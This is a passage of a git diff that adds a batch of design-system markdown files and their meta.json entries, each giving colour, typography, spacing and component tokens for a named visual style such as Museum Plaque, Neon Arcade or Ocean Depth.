**Secondary (`#8C8C8C`):** Borders, captions, and metadata. +- **Tertiary (`#E10600`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0B0B0B`):** The page foundation. + +## Typography + +- **display:** Oswald 5rem +- **h1:** Oswald 2.5rem +- **body:** Inter 0.95rem +- **label:** Oswald 0.78rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/motorsport-livery.meta.json b/imported-skills/designdotmd/designs/motorsport-livery.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..0d2b4a1c878c8c4622a2d05a5a59549dcf73f828 --- /dev/null +++ b/imported-skills/designdotmd/designs/motorsport-livery.meta.json @@ -0,0 +1,4 @@ +{ + "id": "motorsport-livery", + "name": "Motorsport Livery" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/museum-plaque.md b/imported-skills/designdotmd/designs/museum-plaque.md new file mode 100644 index 0000000000000000000000000000000000000000..aac307e321faef3bdcd123a48560a4b514fb898c --- /dev/null +++ b/imported-skills/designdotmd/designs/museum-plaque.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Museum Plaque +description: Museum-wall white: didone, hairline rules, placard caps. +colors: + primary: "#14130F" + secondary: "#72706A" + tertiary: "#3F3A33" + neutral: "#F4F0E6" + surface: "#FBF8EF" + on-primary: "#FBF8EF" +typography: + display: + fontFamily: Bodoni Moda + fontSize: 6rem + fontWeight: 400 + letterSpacing: "-0.02em" + h1: + fontFamily: Bodoni Moda + fontSize: 2.8rem + fontWeight: 400 + body: + fontFamily: Source Serif 4 + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: Inter + fontSize: 0.68rem + fontWeight: 500 + letterSpacing: "0.3em" +rounded: + sm: 0px + md: 0px + lg: 0px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A museum catalog system: didone display, uppercase placards, strict rag-right body. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#14130F`):** Headlines and core text. +- **Secondary (`#72706A`):** Borders, captions, and metadata. +- **Tertiary (`#3F3A33`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F4F0E6`):** The page foundation. + +## Typography + +- **display:** Bodoni Moda 6rem +- **h1:** Bodoni Moda 2.8rem +- **body:** Source Serif 4 1rem +- **label:** Inter 0.68rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/museum-plaque.meta.json b/imported-skills/designdotmd/designs/museum-plaque.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..1c2946b63b4ebf462fced91f9538e1542120a699 --- /dev/null +++ b/imported-skills/designdotmd/designs/museum-plaque.meta.json @@ -0,0 +1,4 @@ +{ + "id": "museum-plaque", + "name": "Museum Plaque" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/mutual-aid.md b/imported-skills/designdotmd/designs/mutual-aid.md new file mode 100644 index 0000000000000000000000000000000000000000..9797d79d2415d63b2eba68d0be753ce14d342258 --- /dev/null +++ b/imported-skills/designdotmd/designs/mutual-aid.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Mutual Aid +description: Mutual-aid zine: risograph orange, handbill mono, masking tape. +colors: + primary: "#1A1A18" + secondary: "#666358" + tertiary: "#F1562A" + neutral: "#F3EBD5" + surface: "#FBF4DE" + on-primary: "#FBF4DE" +typography: + display: + fontFamily: Space Mono + fontSize: 3.75rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: Space Mono + fontSize: 2rem + fontWeight: 700 + body: + fontFamily: Inter + fontSize: 0.98rem + lineHeight: 1.65 + label: + fontFamily: Space Mono + fontSize: 0.72rem + letterSpacing: "0.08em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A nonprofit-zine palette: risograph orange punch, handbill mono, tape-yellow accents. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1A1A18`):** Headlines and core text. +- **Secondary (`#666358`):** Borders, captions, and metadata. +- **Tertiary (`#F1562A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F3EBD5`):** The page foundation. + +## Typography + +- **display:** Space Mono 3.75rem +- **h1:** Space Mono 2rem +- **body:** Inter 0.98rem +- **label:** Space Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/mutual-aid.meta.json b/imported-skills/designdotmd/designs/mutual-aid.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..35dc3b735e2495306480b0c957e73e7b40764fb4 --- /dev/null +++ b/imported-skills/designdotmd/designs/mutual-aid.meta.json @@ -0,0 +1,4 @@ +{ + "id": "mutual-aid", + "name": "Mutual Aid" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/national-park.md b/imported-skills/designdotmd/designs/national-park.md new file mode 100644 index 0000000000000000000000000000000000000000..2eb7d97644813c0d837e24836395c3d7b327b34c --- /dev/null +++ b/imported-skills/designdotmd/designs/national-park.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: National Park +description: Park signage: pine green, canyon rust, trail ochre. +colors: + primary: "#EFE2C4" + secondary: "#A89274" + tertiary: "#D37B3A" + neutral: "#1C2E20" + surface: "#253D2B" + on-primary: "#EFE2C4" +typography: + display: + fontFamily: Merriweather + fontSize: 4.5rem + fontWeight: 700 + letterSpacing: "-0.01em" + h1: + fontFamily: Merriweather + fontSize: 2.3rem + fontWeight: 700 + body: + fontFamily: Lora + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: Merriweather + fontSize: 0.72rem + fontWeight: 700 + letterSpacing: "0.16em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A national-park palette: pine-green surface, canyon-rust accent, trail-ochre markers. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#EFE2C4`):** Headlines and core text. +- **Secondary (`#A89274`):** Borders, captions, and metadata. +- **Tertiary (`#D37B3A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#1C2E20`):** The page foundation. + +## Typography + +- **display:** Merriweather 4.5rem +- **h1:** Merriweather 2.3rem +- **body:** Lora 1rem +- **label:** Merriweather 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/national-park.meta.json b/imported-skills/designdotmd/designs/national-park.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..453ede91a69ed738890d23fed02f9facec278748 --- /dev/null +++ b/imported-skills/designdotmd/designs/national-park.meta.json @@ -0,0 +1,4 @@ +{ + "id": "national-park", + "name": "National Park" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/natural-wine.md b/imported-skills/designdotmd/designs/natural-wine.md new file mode 100644 index 0000000000000000000000000000000000000000..9a349f0870070cc67adae5ad66de98b772838ad8 --- /dev/null +++ b/imported-skills/designdotmd/designs/natural-wine.md @@ -0,0 +1,74 @@ +--- +version: alpha +name: Natural Wine +description: Pét-nat: fresh lees, paper labels, soft burgundy. +colors: + primary: "#2A0E19" + secondary: "#7E5D65" + tertiary: "#A8374F" + neutral: "#F2EADA" + surface: "#FAF3E3" + on-primary: "#FAF3E3" +typography: + display: + fontFamily: Caveat + fontSize: 5rem + fontWeight: 700 + h1: + fontFamily: Fraunces + fontSize: 2.4rem + fontWeight: 600 + body: + fontFamily: Fraunces + fontSize: 1.02rem + lineHeight: 1.7 + label: + fontFamily: Fraunces + fontSize: 0.75rem + letterSpacing: "0.1em" +rounded: + sm: 6px + md: 12px + lg: 20px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A bar-forward system inspired by natural-wine labels. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2A0E19`):** Headlines and core text. +- **Secondary (`#7E5D65`):** Borders, captions, and metadata. +- **Tertiary (`#A8374F`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F2EADA`):** The page foundation. + +## Typography + +- **display:** Caveat 5rem +- **h1:** Fraunces 2.4rem +- **body:** Fraunces 1.02rem +- **label:** Fraunces 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/natural-wine.meta.json b/imported-skills/designdotmd/designs/natural-wine.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..422a7670adb27d063f0ab3b6e7b15cb91c0321aa --- /dev/null +++ b/imported-skills/designdotmd/designs/natural-wine.meta.json @@ -0,0 +1,4 @@ +{ + "id": "natural-wine", + "name": "Natural Wine" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/neobank-mint.md b/imported-skills/designdotmd/designs/neobank-mint.md new file mode 100644 index 0000000000000000000000000000000000000000..0074b5f39ad05a04d493dc666ef2e15213c1d3a4 --- /dev/null +++ b/imported-skills/designdotmd/designs/neobank-mint.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Neobank Mint +description: Fresh mint, generous gutters, calm money. +colors: + primary: "#0D3B2E" + secondary: "#6B8679" + tertiary: "#28C76F" + neutral: "#F3FAF5" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Manrope + fontSize: 3.75rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Manrope + fontSize: 2rem + fontWeight: 700 + body: + fontFamily: Manrope + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Manrope + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.04em" +rounded: + sm: 6px + md: 12px + lg: 20px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A challenger-bank system that feels like a Sunday morning. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0D3B2E`):** Headlines and core text. +- **Secondary (`#6B8679`):** Borders, captions, and metadata. +- **Tertiary (`#28C76F`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F3FAF5`):** The page foundation. + +## Typography + +- **display:** Manrope 3.75rem +- **h1:** Manrope 2rem +- **body:** Manrope 0.95rem +- **label:** Manrope 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/neobank-mint.meta.json b/imported-skills/designdotmd/designs/neobank-mint.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..99e1920bbde8694bec08a337983be6bf7c39c6a9 --- /dev/null +++ b/imported-skills/designdotmd/designs/neobank-mint.meta.json @@ -0,0 +1,4 @@ +{ + "id": "neobank-mint", + "name": "Neobank Mint" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/neon-arcade.md b/imported-skills/designdotmd/designs/neon-arcade.md new file mode 100644 index 0000000000000000000000000000000000000000..d7a81a08f84e656b56d8dbe8e5597b419e2df281 --- /dev/null +++ b/imported-skills/designdotmd/designs/neon-arcade.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Neon Arcade +description: Synthwave violet and hot magenta. +colors: + primary: "#F6EEFF" + secondary: "#8B7AA5" + tertiary: "#FF3DCA" + neutral: "#140A1F" + surface: "#1E1330" + on-primary: "#140A1F" +typography: + display: + fontFamily: Space Grotesk + fontSize: 4.25rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Space Grotesk + fontSize: 2.25rem + fontWeight: 700 + body: + fontFamily: Space Grotesk + fontSize: 1rem + lineHeight: 1.55 + label: + fontFamily: Space Mono + fontSize: 0.75rem + letterSpacing: "0.06em" +rounded: + sm: 4px + md: 8px + lg: 12px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A night-mode palette with CRT heritage. Deep violet surfaces, magenta primary, phosphor cyan for data. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F6EEFF`):** Headlines and core text. +- **Secondary (`#8B7AA5`):** Borders, captions, and metadata. +- **Tertiary (`#FF3DCA`):** The sole driver for interaction. Reserve it. +- **Neutral (`#140A1F`):** The page foundation. + +## Typography + +- **display:** Space Grotesk 4.25rem +- **h1:** Space Grotesk 2.25rem +- **body:** Space Grotesk 1rem +- **label:** Space Mono 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/neon-arcade.meta.json b/imported-skills/designdotmd/designs/neon-arcade.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..8756f14cda4c003d2dc988172ee843ff5dcdf293 --- /dev/null +++ b/imported-skills/designdotmd/designs/neon-arcade.meta.json @@ -0,0 +1,4 @@ +{ + "id": "neon-arcade", + "name": "Neon Arcade" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/newsletter-sunday.md b/imported-skills/designdotmd/designs/newsletter-sunday.md new file mode 100644 index 0000000000000000000000000000000000000000..b3217e732f6b8046e3a4f1eabbe28f9e5d9b69ea --- /dev/null +++ b/imported-skills/designdotmd/designs/newsletter-sunday.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Newsletter Sunday +description: Long-form Sunday edition: linen paper, reading serif. +colors: + primary: "#1F1A12" + secondary: "#7A7062" + tertiary: "#9C6A2E" + neutral: "#F5EFE2" + surface: "#FBF6EA" + on-primary: "#FBF6EA" +typography: + display: + fontFamily: Source Serif 4 + fontSize: 4.5rem + fontWeight: 600 + letterSpacing: "-0.015em" + h1: + fontFamily: Source Serif 4 + fontSize: 2.4rem + fontWeight: 600 + body: + fontFamily: Source Serif 4 + fontSize: 1.08rem + lineHeight: 1.75 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.12em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A long-form newsletter system: linen paper, deeply readable serif, warm ink. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1F1A12`):** Headlines and core text. +- **Secondary (`#7A7062`):** Borders, captions, and metadata. +- **Tertiary (`#9C6A2E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F5EFE2`):** The page foundation. + +## Typography + +- **display:** Source Serif 4 4.5rem +- **h1:** Source Serif 4 2.4rem +- **body:** Source Serif 4 1.08rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/newsletter-sunday.meta.json b/imported-skills/designdotmd/designs/newsletter-sunday.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..662e7daaee473e1a32d9f8aa32e10e32efe56809 --- /dev/null +++ b/imported-skills/designdotmd/designs/newsletter-sunday.meta.json @@ -0,0 +1,4 @@ +{ + "id": "newsletter-sunday", + "name": "Newsletter Sunday" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/nightclub-strobe.md b/imported-skills/designdotmd/designs/nightclub-strobe.md new file mode 100644 index 0000000000000000000000000000000000000000..c156e1d9f50c57b8da1d38270e3f67bce63c1477 --- /dev/null +++ b/imported-skills/designdotmd/designs/nightclub-strobe.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Nightclub Strobe +description: Berlin techno: stark black, strobe white, bass magenta. +colors: + primary: "#F6F6F6" + secondary: "#7A7A7A" + tertiary: "#FF2A7F" + neutral: "#000000" + surface: "#0A0A0A" + on-primary: "#000000" +typography: + display: + fontFamily: Archivo Black + fontSize: 5rem + fontWeight: 900 + letterSpacing: "-0.04em" + h1: + fontFamily: Archivo Black + fontSize: 2.4rem + fontWeight: 900 + body: + fontFamily: Inter + fontSize: 0.92rem + lineHeight: 1.5 + label: + fontFamily: Archivo + fontSize: 0.7rem + fontWeight: 700 + letterSpacing: "0.22em" +rounded: + sm: 0px + md: 0px + lg: 0px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A techno-club palette: stark monochrome with one strobe-magenta that punches through. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F6F6F6`):** Headlines and core text. +- **Secondary (`#7A7A7A`):** Borders, captions, and metadata. +- **Tertiary (`#FF2A7F`):** The sole driver for interaction. Reserve it. +- **Neutral (`#000000`):** The page foundation. + +## Typography + +- **display:** Archivo Black 5rem +- **h1:** Archivo Black 2.4rem +- **body:** Inter 0.92rem +- **label:** Archivo 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/nightclub-strobe.meta.json b/imported-skills/designdotmd/designs/nightclub-strobe.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..fc462093fa515a82f5f85a573107b1ff385a8c62 --- /dev/null +++ b/imported-skills/designdotmd/designs/nightclub-strobe.meta.json @@ -0,0 +1,4 @@ +{ + "id": "nightclub-strobe", + "name": "Nightclub Strobe" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/notion-beige.md b/imported-skills/designdotmd/designs/notion-beige.md new file mode 100644 index 0000000000000000000000000000000000000000..dc4077969ac88bb493c0ab498f8be7e9983ecddc --- /dev/null +++ b/imported-skills/designdotmd/designs/notion-beige.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Notion Beige +description: Workspace-calm: warm beige, soft ink, lots of breathing. +colors: + primary: "#191918" + secondary: "#8C877D" + tertiary: "#C26B5B" + neutral: "#F7F6F3" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Inter + fontSize: 3.5rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Inter + fontSize: 2rem + fontWeight: 700 + letterSpacing: "-0.02em" + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.6 + label: + fontFamily: Inter + fontSize: 0.72rem + letterSpacing: "0.02em" +rounded: + sm: 4px + md: 6px + lg: 10px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A gentle, document-first palette. Warm off-white body, near-black text, restrained coral for mentions and active states. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#191918`):** Headlines and core text. +- **Secondary (`#8C877D`):** Borders, captions, and metadata. +- **Tertiary (`#C26B5B`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F7F6F3`):** The page foundation. + +## Typography + +- **display:** Inter 3.5rem +- **h1:** Inter 2rem +- **body:** Inter 0.95rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/notion-beige.meta.json b/imported-skills/designdotmd/designs/notion-beige.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..9674c44108387d1854f8b32446594df60e98c0b3 --- /dev/null +++ b/imported-skills/designdotmd/designs/notion-beige.meta.json @@ -0,0 +1,4 @@ +{ + "id": "notion-beige", + "name": "Notion Beige" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/observatory.md b/imported-skills/designdotmd/designs/observatory.md new file mode 100644 index 0000000000000000000000000000000000000000..5c7531885e64ab2d6a31299cc1061306315e8409 --- /dev/null +++ b/imported-skills/designdotmd/designs/observatory.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Observatory +description: Deep-sky catalog: nebula black, star cream, redshift. +colors: + primary: "#E9E3CD" + secondary: "#8D8570" + tertiary: "#E2563C" + neutral: "#06070C" + surface: "#0D0F17" + on-primary: "#E9E3CD" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 5rem + fontWeight: 500 + letterSpacing: "-0.015em" + h1: + fontFamily: Cormorant Garamond + fontSize: 2.5rem + fontWeight: 500 + body: + fontFamily: IBM Plex Sans + fontSize: 0.98rem + lineHeight: 1.7 + label: + fontFamily: IBM Plex Mono + fontSize: 0.72rem + letterSpacing: "0.12em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An astronomy-catalog palette: deep-space black, starlight cream, redshift accent for anomalies. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E9E3CD`):** Headlines and core text. +- **Secondary (`#8D8570`):** Borders, captions, and metadata. +- **Tertiary (`#E2563C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#06070C`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 5rem +- **h1:** Cormorant Garamond 2.5rem +- **body:** IBM Plex Sans 0.98rem +- **label:** IBM Plex Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/observatory.meta.json b/imported-skills/designdotmd/designs/observatory.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..66a6db3e195f07207909dde94e27a04a5c130d95 --- /dev/null +++ b/imported-skills/designdotmd/designs/observatory.meta.json @@ -0,0 +1,4 @@ +{ + "id": "observatory", + "name": "Observatory" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/obsidian.md b/imported-skills/designdotmd/designs/obsidian.md new file mode 100644 index 0000000000000000000000000000000000000000..5e5e7c98c7caaa816f1743224a0dae299ae58361 --- /dev/null +++ b/imported-skills/designdotmd/designs/obsidian.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Obsidian +description: Volcanic glass, phosphor purple, edge. +colors: + primary: "#E9E6F2" + secondary: "#8B8699" + tertiary: "#A78BFA" + neutral: "#13111C" + surface: "#1C1829" + on-primary: "#13111C" +typography: + display: + fontFamily: Inter + fontSize: 3.75rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Inter + fontSize: 2.25rem + fontWeight: 700 + letterSpacing: "-0.02em" + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.04em" +rounded: + sm: 6px + md: 10px + lg: 14px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A knowledge-worker's dark palette. Deep obsidian surfaces, violet accent, monospace labels. Calm but insistent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E9E6F2`):** Headlines and core text. +- **Secondary (`#8B8699`):** Borders, captions, and metadata. +- **Tertiary (`#A78BFA`):** The sole driver for interaction. Reserve it. +- **Neutral (`#13111C`):** The page foundation. + +## Typography + +- **display:** Inter 3.75rem +- **h1:** Inter 2.25rem +- **body:** Inter 0.95rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/obsidian.meta.json b/imported-skills/designdotmd/designs/obsidian.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..2a9001d024f63d979e4012076bd9f02875497f95 --- /dev/null +++ b/imported-skills/designdotmd/designs/obsidian.meta.json @@ -0,0 +1,4 @@ +{ + "id": "obsidian", + "name": "Obsidian" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/ocean-depth.md b/imported-skills/designdotmd/designs/ocean-depth.md new file mode 100644 index 0000000000000000000000000000000000000000..c729a8a1e9bf07ea327a409b1da617f25e2b98f7 --- /dev/null +++ b/imported-skills/designdotmd/designs/ocean-depth.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Ocean Depth +description: Midnight blue foundation with a teal pulse. +colors: + primary: "#E8F0F5" + secondary: "#8FA5B5" + tertiary: "#3CBAB2" + neutral: "#0B1A28" + surface: "#142637" + on-primary: "#0B1A28" +typography: + display: + fontFamily: Instrument Serif + fontSize: 4.5rem + fontWeight: 400 + letterSpacing: "-0.015em" + h1: + fontFamily: Instrument Serif + fontSize: 2.5rem + fontWeight: 400 + body: + fontFamily: Inter + fontSize: 1rem + lineHeight: 1.6 + label: + fontFamily: JetBrains Mono + fontSize: 0.75rem + letterSpacing: "0.04em" +rounded: + sm: 6px + md: 12px + lg: 20px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A deep, calm product palette. Midnight-blue surfaces, muted steel for support, and an oxidised teal for interaction. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E8F0F5`):** Headlines and core text. +- **Secondary (`#8FA5B5`):** Borders, captions, and metadata. +- **Tertiary (`#3CBAB2`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0B1A28`):** The page foundation. + +## Typography + +- **display:** Instrument Serif 4.5rem +- **h1:** Instrument Serif 2.5rem +- **body:** Inter 1rem +- **label:** JetBrains Mono 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/ocean-depth.meta.json b/imported-skills/designdotmd/designs/ocean-depth.meta.json new file mode 100644 index 